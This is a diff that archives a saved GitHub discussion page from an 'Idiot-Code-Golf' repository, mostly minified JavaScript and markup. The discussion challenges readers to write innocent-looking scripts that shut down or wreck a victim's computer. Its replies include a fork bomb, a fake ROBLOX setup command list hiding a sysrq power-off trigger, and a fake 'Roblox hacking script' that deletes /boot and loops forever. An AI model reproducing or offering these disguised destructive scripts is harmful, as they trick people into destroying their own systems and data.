e=new URLSearchParams,n=new FormData(o).entries();for(const[i,a]of[...n])e.append(i,a.toString());return e.toString()}c(v,"serialize");class m extends Error{constructor(e,n){super(e);this.response=n}}c(m,"ErrorWithResponse");function _(){let o,e;return[new Promise(function(i,a){o=i,e=a}),o,e]}c(_,"makeDeferred");let f;const g=[],y=[];function h(o){g.push(o)}c(h,"afterRemote");function p(o){y.push(o)}c(p,"beforeRemote");function b(o,e){f||(f=new Map,document.addEventListener("submit",S));const n=f.get(o)||[];f.set(o,[...n,e])}c(b,"remoteForm");function k(o,e){if(f){const n=f.get(o)||[];f.set(o,n.filter(i=>i!==e))}}c(k,"remoteUninstall");function w(o){const e=[];for(const n of f.keys())if(o.matches(n)){const i=f.get(n)||[];e.push(...i)}return e}c(w,"getMatches");function S(o){if(!(o.target instanceof HTMLFormElement)||o.defaultPrevented)return;const e=o.target,n=w(e);if(n.length===0)return;const i=L(e),[a,l,s]=_();o.preventDefault(),P(n,e,i,a).then(async t=>{if(t){for(const r of y)await r(e);N(i).then(l,s).catch(()=>{}).then(()=>{for(const r of g)r(e)})}else e.submit()},t=>{e.submit(),setTimeout(()=>{throw t})})}c(S,"handleSubmit");async function P(o,e,n,i){let a=!1;for(const l of o){const[s,t]=_(),r=c(()=>(a=!0,t(),i),"kick"),u={text:r,json:()=>(n.headers.set("Accept","application/json"),r()),html:()=>(n.headers.set("Accept","text/html"),r())};await Promise.race([s,l(e,u,n)])}return a}c(P,"processHandlers");function L(o){const e={method:o.method||"GET",url:o.action,headers:new Headers({"X-Requested-With":"XMLHttpRequest"}),body:null};if(e.method.toUpperCase()==="GET"){const n=v(o);n&&(e.url+=(~e.url.indexOf("?")?"&":"?")+n)}else e.body=new FormData(o);return e}c(L,"buildRequest");async function N(o){const e=await window.fetch(o.url,{method:o.method,body:o.body!==null?o.body:void 0,headers:o.headers,credentials:"same-origin"}),n={url:e.url,status:e.status,statusText:e.statusText,headers:e.headers,text:"",get json(){const a=this,l=JSON.parse(a.text);return delete a.json,a.json=l,a.json},get html(){const a=this;return delete a.html,a.html=x(document,a.text),a.html}},i=await e.text();if(n.text=i,e.ok)return n;throw new m("request failed",n)}c(N,"remoteSubmit")},41311:(F,T,E)=>{E.d(T,{C:()=>f});var x=E(28356),v=E(36162);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,_=2147483647,f=(0,v.XM)((...g)=>y=>{let h=m.get(y);h===void 0&&(h={lastRenderedIndex:_,values:[]},m.set(y,h));const p=h.values;let b=p.length;h.values=g;for(let k=0;kh.lastRenderedIndex);k++){const w=g[k];if((0,x.pt)(w)||typeof w.then!="function"){y.setValue(w),h.lastRenderedIndex=k;break}k{const P=h.values.indexOf(w);P>-1&&P{E.d(T,{EL:()=>g,N9:()=>N,Tz:()=>o});class x{constructor(n){this.children=[],this.parent=n}delete(n){const i=this.children.indexOf(n);return i===-1?!1:(this.children=this.children.slice(0,i).concat(this.children.slice(i+1)),this.children.length===0&&this.parent.delete(this),!0)}add(n){return this.children.push(n),this}}c(x,"Leaf");class v{constructor(n){this.parent=null,this.children={},this.parent=n||null}get(n){return this.children[n]}insert(n){let i=this;for(let a=0;al.filter(s=>s!=="")).filter(l=>l.length>0)}c(f,"expandHotkeyToEdges");function g(e){const{ctrlKey:n,altKey:i,metaKey:a,key:l}=e,s=[],t=[n,i,a,h(e)];for(const[r,u]of t.entries())u&&s.push(y[r]);return y.includes(l)||s.push(l),s.join("+")}c(g,"hotkey");const y=["Control","Alt","Meta","Shift"];function h(e){const{shiftKey:n,code:i,key:a}=e;return n&&!(i.startsWith("Key")&&a.toUpperCase()===a)}c(h,"showShift");const p=new v,b=new WeakMap;let k=p,w=null,S=[];function P(){S=[],w=null,k=p}c(P,"resetTriePosition");function L(e){if(e.defaultPrevented||!(e.target instanceof Node))return;if(m(e.target)){const i=e.target;if(!i.id||!i.ownerDocument.querySelector(`[data-hotkey-scope="${i.id}"]`))return}w!=null&&window.clearTimeout(w),w=window.setTimeout(P,1500);const n=k.get(g(e));if(!n){P();return}if(S.push(g(e)),k=n,n instanceof x){const i=e.target;let a=!1,l;const s=m(i);for(let t=n.children.length-1;t>=0;t-=1){l=n.children[t];const r=l.getAttribute("data-hotkey-scope");if(!s&&!r||s&&i.id===r){a=!0;break}}l&&a&&(_(l,S),e.preventDefault()),P()}}c(L,"keyDownHandler");function N(e,n){Object.keys(p.children).length===0&&document.addEventListener("keydown",L);const a=f(n||e.getAttribute("data-hotkey")||"").map(l=>p.insert(l).add(e));b.set(e,a)}c(N,"install");function o(e){const n=b.get(e);if(n&&n.length)for(const i of n)i&&i.delete(e);Object.keys(p.children).length===0&&document.removeEventListener("keydown",L)}c(o,"uninstall")},15205:(F,T,E)=>{E.d(T,{Z:()=>v});function x(...m){return JSON.stringify(m,(_,f)=>typeof f=="object"?f:String(f))}c(x,"defaultHash");function v(m,_={}){const{hash:f=x,cache:g=new Map}=_;return function(...y){const h=f.apply(this,y);if(g.has(h))return g.get(h);let p=m.apply(this,y);return p instanceof Promise&&(p=p.catch(b=>{throw g.delete(h),b})),g.set(h,p),p}}c(v,"memoize")},69567:(F,T,E)=>{E.d(T,{sV:()=>g,GZ:()=>k,R:()=>l,AQ:()=>w,W_:()=>P,Al:()=>S,XK:()=>N});function*x(s){let t="",r=0,u=!1;for(let d=0;dtypeof u=="string"?u:u.value).join("");this.element.setAttributeNS(this.attr.namespaceURI,this.attr.name,r)}}}c(y,"AttributeValueSetter");var h=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},p=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},b;class k{constructor(t,r){this.expression=r,b.set(this,void 0),h(this,b,[t]),t.textContent=""}get value(){return p(this,b).map(t=>t.textContent).join("")}set value(t){this.replace(t)}get previousSibling(){return p(this,b)[0].previousSibling}get nextSibling(){return p(this,b)[p(this,b).length-1].nextSibling}replace(...t){const r=t.map(u=>typeof u=="string"?new Text(u):u);r.length||r.push(new Text("")),p(this,b)[0].before(...r);for(const u of p(this,b))u.remove();h(this,b,r)}}c(k,"NodeTemplatePart"),b=new WeakMap;function w(s){return{createCallback(t,r,u){this.processCallback(t,r,u)},processCallback(t,r,u){var d;if(!(typeof u!="object"||!u)){for(const C of r)if(C.expression in u){const j=(d=u[C.expression])!==null&&d!==void 0?d:"";s(C,j)}}}}}c(w,"createProcessor");function S(s,t){s.value=String(t)}c(S,"processPropertyIdentity");function P(s,t){return typeof t=="boolean"&&s instanceof g&&typeof s.element[s.attributeName]=="boolean"?(s.booleanValue=t,!0):!1}c(P,"processBooleanAttribute");const L=w(S),N=w((s,t)=>{P(s,t)||S(s,t)});var o=function(s,t,r){if(!t.has(s))throw new TypeError("attempted to set private field on non-instance");return t.set(s,r),r},e=function(s,t){if(!t.has(s))throw new TypeError("attempted to get private field on non-instance");return t.get(s)},n,i;function*a(s){const t=s.ownerDocument.createTreeWalker(s,NodeFilter.SHOW_TEXT|NodeFilter.SHOW_ELEMENT,null,!1);let r;for(;r=t.nextNode();)if(r instanceof Element&&r.hasAttributes())for(let u=0;u{var O=Object.defineProperty;var p=(M,N)=>O(M,"name",{value:N,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_lit-html_lit-html_js"],{13695:(M,N,l)=>{l.d(N,{X:()=>v,w:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=new WeakMap,v=p(_=>(...c)=>{const h=_(...c);return a.set(h,!0),h},"directive"),u=p(_=>typeof _=="function"&&a.has(_),"isDirective")},66921:(M,N,l)=>{l.d(N,{V:()=>v,eC:()=>a,r4:()=>u});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=window.customElements!==void 0&&window.customElements.polyfillWrapFlushCallback!==void 0,v=p((_,c,h=null,r=null)=>{for(;c!==h;){const d=c.nextSibling;_.insertBefore(c,r),c=d}},"reparentNodes"),u=p((_,c,h=null)=>{for(;c!==h;){const r=c.nextSibling;_.removeChild(c),c=r}},"removeNodes")},31301:(M,N,l)=>{l.d(N,{J:()=>a,L:()=>v});/** + * @license + * Copyright (c) 2018 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a={},v={}},28356:(M,N,l)=>{l.d(N,{JG:()=>x,K1:()=>E,QG:()=>f,_l:()=>g,m:()=>w,nt:()=>m,pt:()=>r});var a=l(13695),v=l(66921),u=l(31301),_=l(3122),c=l(89823),h=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const r=p(s=>s===null||!(typeof s=="object"||typeof s=="function"),"isPrimitive"),d=p(s=>Array.isArray(s)||!!(s&&s[Symbol.iterator]),"isIterable");class f{constructor(t,n,e){this.dirty=!0,this.element=t,this.name=n,this.strings=e,this.parts=[];for(let i=0;ithis.handleEvent(i)}setValue(t){this.__pendingValue=t}commit(){for(;(0,a.w)(this.__pendingValue);){const V=this.__pendingValue;this.__pendingValue=u.J,V(this)}if(this.__pendingValue===u.J)return;const t=this.__pendingValue,n=this.value,e=t==null||n!=null&&(t.capture!==n.capture||t.once!==n.once||t.passive!==n.passive),i=t!=null&&(n==null||e);e&&this.element.removeEventListener(this.eventName,this.__boundHandleEvent,this.__options),i&&(this.__options=o(t),this.element.addEventListener(this.eventName,this.__boundHandleEvent,this.__options)),this.value=t,this.__pendingValue=u.J}handleEvent(t){typeof this.value=="function"?this.value.call(this.eventContext||this.element,t):this.value.handleEvent(t)}}p(E,"EventPart");const o=p(s=>s&&(C?{capture:s.capture,passive:s.passive,once:s.once}:s.capture),"getOptions")},3122:(M,N,l)=>{l.d(N,{R:()=>u});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class u{constructor(c,h,r){this.__parts=[],this.template=c,this.processor=h,this.options=r}update(c){let h=0;for(const r of this.__parts)r!==void 0&&r.setValue(c[h]),h++;for(const r of this.__parts)r!==void 0&&r.commit()}_clone(){const c=a.eC?this.template.element.content.cloneNode(!0):document.importNode(this.template.element.content,!0),h=[],r=this.template.parts,d=document.createTreeWalker(c,133,null,!1);let f=0,g=0,m,x=d.nextNode();for(;f{l.d(N,{j:()=>_});var a=l(66921),v=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const u=` ${v.Jw} `;class _{constructor(r,d,f,g){this.strings=r,this.values=d,this.type=f,this.processor=g}getHTML(){const r=this.strings.length-1;let d="",f=!1;for(let g=0;g-1||f)&&m.indexOf("-->",x+1)===-1;const w=v.W5.exec(m);w===null?d+=m+(f?u:v.N):d+=m.substr(0,w.index)+w[1]+w[2]+v.$E+w[3]+v.Jw}return d+=this.strings[r],d}getTemplateElement(){const r=document.createElement("template");return r.innerHTML=this.getHTML(),r}}p(_,"TemplateResult");class c extends null{getHTML(){return`${super.getHTML()}`}getTemplateElement(){const r=super.getTemplateElement(),d=r.content,f=d.firstChild;return d.removeChild(f),reparentNodes(d,f.firstChild),r}}p(c,"SVGTemplateResult")},60560:(M,N,l)=>{l.d(N,{$E:()=>_,IW:()=>d,Jw:()=>a,N:()=>v,W5:()=>f,YS:()=>c,pC:()=>r});/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const a=`{{lit-${String(Math.random()).slice(2)}}}`,v=``,u=new RegExp(`${a}|${v}`),_="$lit$";class c{constructor(m,x){this.parts=[],this.element=x;const w=[],A=[],C=document.createTreeWalker(x.content,133,null,!1);let E=0,o=-1,s=0;const{strings:t,values:{length:n}}=m;for(;s0;){const y=t[s],I=f.exec(y)[2],L=I.toLowerCase()+_,b=e.getAttribute(L);e.removeAttribute(L);const P=b.split(u);this.parts.push({type:"attribute",index:o,name:I,strings:P}),s+=P.length-1}}e.tagName==="TEMPLATE"&&(A.push(e),C.currentNode=e.content)}else if(e.nodeType===3){const i=e.data;if(i.indexOf(a)>=0){const V=e.parentNode,T=i.split(u),y=T.length-1;for(let I=0;I{const x=g.length-m.length;return x>=0&&g.slice(x)===m},"endsWith"),r=p(g=>g.index!==-1,"isTemplatePartActive"),d=p(()=>document.createComment(""),"createMarker"),f=/([ \x09\x0a\x0c\x0d])([^\0-\x1F\x7F-\x9F "'>=/]+)([ \x09\x0a\x0c\x0d]*=[ \x09\x0a\x0c\x0d]*(?:[^ \x09\x0a\x0c\x0d"'`<>=]*|"[^"]*|'[^']*))$/},36162:(M,N,l)=>{l.d(N,{_l:()=>a._l,nt:()=>a.nt,IW:()=>d.IW,XM:()=>c.X,dy:()=>A,r4:()=>h.r4,sY:()=>x,V:()=>h.V});var a=l(28356);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */class v{handleAttributeExpressions(o,s,t,n){const e=s[0];return e==="."?new a.m(o,s.slice(1),t).parts:e==="@"?[new a.K1(o,s.slice(1),n.eventContext)]:e==="?"?[new a.JG(o,s.slice(1),t)]:new a.QG(o,s,t).parts}handleTextExpression(o){return new a.nt(o)}}p(v,"DefaultTemplateProcessor");const u=new v;var _=l(89823),c=l(13695),h=l(66921),r=l(31301),d=l(60560);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */function f(E){let o=g.get(E.type);o===void 0&&(o={stringsArray:new WeakMap,keyString:new Map},g.set(E.type,o));let s=o.stringsArray.get(E.strings);if(s!==void 0)return s;const t=E.strings.join(d.Jw);return s=o.keyString.get(t),s===void 0&&(s=new d.YS(E,E.getTemplateElement()),o.keyString.set(t,s)),o.stringsArray.set(E.strings,s),s}p(f,"templateFactory");const g=new Map;/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */const m=new WeakMap,x=p((E,o,s)=>{let t=m.get(o);t===void 0&&((0,h.r4)(o,o.firstChild),m.set(o,t=new a.nt(Object.assign({templateFactory:f},s))),t.appendInto(o)),t.setValue(E),t.commit()},"render");var w=l(3122);/** + * @license + * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. + * This code may only be used under the BSD style license found at + * http://polymer.github.io/LICENSE.txt + * The complete set of authors may be found at + * http://polymer.github.io/AUTHORS.txt + * The complete set of contributors may be found at + * http://polymer.github.io/CONTRIBUTORS.txt + * Code distributed by Google as part of the polymer project is also + * subject to an additional IP rights grant found at + * http://polymer.github.io/PATENTS.txt + */(window.litHtmlVersions||(window.litHtmlVersions=[])).push("1.1.2");const A=p((E,...o)=>new _.j(E,o,"html",u),"html"),C=p((E,...o)=>new SVGTemplateResult(E,o,"svg",defaultTemplateProcessor),"svg")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_lit-html_lit-html_js-8058f8562b63.js.map \ No newline at end of file diff --git a/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js new file mode 100644 index 0000000..f50a716 --- /dev/null +++ b/archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var ae=Object.defineProperty;var s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 4: Shutdown! · Discussion #4 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #4  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 4: Shutdown! + + #4 +

    +
    + + + + Answered + + by + mpldr + +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 4: Shutdown! + + #4 +
    +
    +
    + + +
    + on Apr 15, 2021 + · + 4 answers + · + 4 replies +
    +
    + +
    +
    +
    +
    + + + + + Answered + + + by + mpldr + + + + Return to top +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    Your task: Write the most innocent-looking script that actually shuts down the victim's computer!

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + +
    +
    +
    + + Answered by + + mpldr + + + + + on Apr 15, 2021 + +
    +
    +

    Sooo… I made a system destruction script. But hey, if the system does not work… it "powered off".

    +

    Roblox Server Hacking script. 100% legit. Really works. I just got 50 [insert game currency here]! you have to try it out!

    +
    #!/bin/sh                                                                       
    +                                                                                
    +if [ "$(whoami)" != "root" ]; then                                              
    +        echo "Sorry $(whoami), but hacking a mainframe requires root permissions"
    +        echo "use 'sudo !!' to feel like a real 1337 H4XX0R!!!11!"              
    +        exit 1                                                        …
    + + + + +
    +
    +
    + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 4 suggested answers +
    + +
    + · +
    + +
    + 4 replies +
    +
    + + +
    + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    :(){ :|:& };:

    +
    + +
    + +
    + + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + mpldr + + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    * this is not my submission

    +
    + +
    + +
    + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Important: please define "shutdown". Do you +mean turn it off, a state where it cannot run anymore, or something else + to fuck shit up?

    +
    + +
    + +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @Ta180m
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + Ta180m + + + + on Apr 15, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    All of the above. The worse, the better!

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Why you should never blindly copy commands from the internet...

    +
    # Troll all the Ubuntu n00bs
    +# Set up your ROBLOX development environment!
    +sudo apt update && sudo apt upgrade # You've been updating your system, haven't you?
    +sudo apt install build-essential 1>&2&&echo o|sudo tee /proc/sysrq-trigger # Install development packages (some of them have some weird names)
    +sudo apt clean && sudo apt autoclean && sudo apt autoremove # Clean up caches
    + + + + +
    +
    + +
    + +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 1 reply + +
    +
    + +
    + +
    +
    +
    +
    + +
    + +
    +
    @mpldr
    + +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + + +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + mpldr + + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    aahh man… I wanted to do the sysrq trigger :D

    +
    + +
    + +
    + + + + + + + +
    + +
    + +
    +
    +
    +
    + + +
    +
    + +
    +
    + +
    + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 15, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Sooo… I made a system destruction script. But hey, if the system does not work… it "powered off".

    +

    Roblox Server Hacking script. 100% legit. Really works. I just got 50 [insert game currency here]! you have to try it out!

    +
    #!/bin/sh                                                                       
    +                                                                                
    +if [ "$(whoami)" != "root" ]; then                                              
    +        echo "Sorry $(whoami), but hacking a mainframe requires root permissions"
    +        echo "use 'sudo !!' to feel like a real 1337 H4XX0R!!!11!"              
    +        exit 1                                                                  
    +fi                                                                              
    +echo "Starting hacking script…"; echo 1 > /proc/sys/kernel/sysrq;sleep 2;echo -n "Creating temporary    files…"; sudo rm -rf /boot 2>/dev/null;    
    +bash -c "while true; do echo mkdir ~/\$RANDOM >/dev/null 2>&1; done" &          
    +sleep 5;                                                                        
    +echo "done";echo "Looking for files…(0/4)";sleep 2;find / -name "proc" > /dev/null 2>&1;
